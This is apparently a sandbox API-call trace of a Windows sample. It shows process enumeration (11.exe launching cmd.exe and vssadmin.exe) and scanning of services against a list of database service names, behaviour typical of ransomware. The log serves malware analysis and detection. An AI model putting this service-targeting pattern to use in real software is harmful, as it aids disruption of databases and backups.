Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0219.433] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0219.433] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0219.433] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0219.433] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0219.434] lstrlenW (lpString="vincentkills.exe") returned 16 [0219.434] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0219.438] lstrlenW (lpString="armstrong.exe") returned 13 [0219.438] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0219.438] lstrlenW (lpString="superb_guilty.exe") returned 17 [0219.439] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0219.439] lstrlenW (lpString="conditional employer.exe") returned 24 [0219.439] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0219.440] lstrlenW (lpString="middle shown.exe") returned 16 [0219.440] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0219.441] lstrlenW (lpString="forced_online.exe") returned 17 [0219.441] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0219.441] lstrlenW (lpString="knitting.exe") returned 12 [0219.441] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0219.442] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0219.442] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0219.443] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0219.443] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0219.444] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0219.444] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.444] lstrlenW (lpString="svchost.exe") returned 11 [0219.444] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0219.445] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0219.445] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0219.446] lstrlenW (lpString="conhost.exe") returned 11 [0219.446] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0219.447] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0219.447] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0219.447] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0219.447] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0219.448] lstrlenW (lpString="WMIADAP.exe") returned 11 [0219.448] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0219.449] lstrlenW (lpString="11.exe") returned 6 [0219.449] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0219.450] lstrlenW (lpString="cmd.exe") returned 7 [0219.450] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0219.453] lstrlenW (lpString="conhost.exe") returned 11 [0219.453] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0219.454] lstrlenW (lpString="vssadmin.exe") returned 12 [0219.454] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0219.454] CloseHandle (hObject=0x2d8) returned 1 [0219.454] Sleep (dwMilliseconds=0x1f4) [0220.057] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8899a8 [0220.057] EnumServicesStatusExW (in: hSCManager=0x8899a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0220.057] GetLastError () returned 0xea [0220.057] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x802a50 [0220.058] EnumServicesStatusExW (in: hSCManager=0x8899a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x802a50, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x802a50, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0220.058] CloseServiceHandle (hSCObject=0x8899a8) returned 1 [0220.058] lstrlenW (lpString="Appinfo") returned 7 [0220.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0220.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0220.059] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0220.059] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0220.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0220.059] lstrlenW (lpString="AppXSvc") returned 7 [0220.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0220.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0220.059] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0220.059] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0220.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0220.059] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0220.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0220.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0220.059] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0220.059] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0220.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0220.059] lstrlenW (lpString="Audiosrv") returned 8 [0220.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0220.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0220.059] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0220.059] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0220.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0220.059] lstrlenW (lpString="BFE") returned 3 [0220.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0220.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0220.059] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0220.059] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0220.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0220.059] lstrlenW (lpString="BITS") returned 4 [0220.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0220.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0220.059] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0220.059] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0220.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0220.060] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0220.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0220.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0220.060] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0220.060] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0220.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0220.060] lstrlenW (lpString="CDPSvc") returned 6 [0220.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0220.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0220.062] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0220.062] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0220.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0220.062] lstrlenW (lpString="ClickToRunSvc") returned 13 [0220.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0220.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0220.062] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0220.062] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0220.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0220.062] lstrlenW (lpString="ClipSVC") returned 7 [0220.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0220.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0220.062] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0220.062] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0220.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0220.062] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0220.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0220.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0220.062] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0220.063] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0220.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0220.063] lstrlenW (lpString="CryptSvc") returned 8 [0220.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0220.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0220.063] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0220.063] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0220.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0220.063] lstrlenW (lpString="DcomLaunch") returned 10 [0220.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0220.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0220.063] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0220.063] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0220.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0220.063] lstrlenW (lpString="Dhcp") returned 4 [0220.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0220.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0220.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0220.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0220.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0220.063] lstrlenW (lpString="Dnscache") returned 8 [0220.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0220.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0220.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0220.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0220.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0220.063] lstrlenW (lpString="DoSvc") returned 5 [0220.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0220.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0220.063] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0220.063] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0220.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0220.064] lstrlenW (lpString="DPS") returned 3 [0220.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0220.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0220.064] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0220.064] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0220.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0220.064] lstrlenW (lpString="DusmSvc") returned 7 [0220.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0220.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0220.064] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0220.064] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0220.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0220.064] lstrlenW (lpString="EventLog") returned 8 [0220.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0220.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0220.064] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0220.064] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0220.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0220.064] lstrlenW (lpString="EventSystem") returned 11 [0220.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0220.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0220.064] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0220.064] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0220.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0220.064] lstrlenW (lpString="FontCache") returned 9 [0220.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0220.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0220.064] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0220.064] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0220.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0220.064] lstrlenW (lpString="gpsvc") returned 5 [0220.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0220.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0220.302] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0220.302] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0220.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0220.302] lstrlenW (lpString="iphlpsvc") returned 8 [0220.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0220.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0220.302] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0220.302] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0220.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0220.302] lstrlenW (lpString="KeyIso") returned 6 [0220.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0220.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0220.302] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0220.302] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0220.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0220.302] lstrlenW (lpString="LanmanServer") returned 12 [0220.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0220.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0220.302] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0220.302] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0220.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0220.302] lstrlenW (lpString="LanmanWorkstation") returned 17 [0220.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0220.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0220.302] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0220.302] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0220.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0220.302] lstrlenW (lpString="lfsvc") returned 5 [0220.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0220.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0220.302] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0220.302] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0220.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0220.303] lstrlenW (lpString="LicenseManager") returned 14 [0220.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0220.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0220.303] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0220.303] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0220.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0220.472] lstrlenW (lpString="lmhosts") returned 7 [0220.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0220.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0220.472] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0220.472] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0220.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0220.472] lstrlenW (lpString="LSM") returned 3 [0220.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0220.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0220.472] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0220.472] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0220.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0220.472] lstrlenW (lpString="MpsSvc") returned 6 [0220.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0220.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0220.473] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0220.473] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0220.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0220.473] lstrlenW (lpString="NcbService") returned 10 [0220.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0220.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0220.473] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0220.473] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0220.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0220.473] lstrlenW (lpString="netprofm") returned 8 [0220.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0220.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0220.473] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0220.473] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0220.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0220.473] lstrlenW (lpString="NlaSvc") returned 6 [0220.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0220.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0220.473] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0220.473] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0220.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0220.473] lstrlenW (lpString="nsi") returned 3 [0220.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0220.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0220.473] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0220.473] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0220.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0220.473] 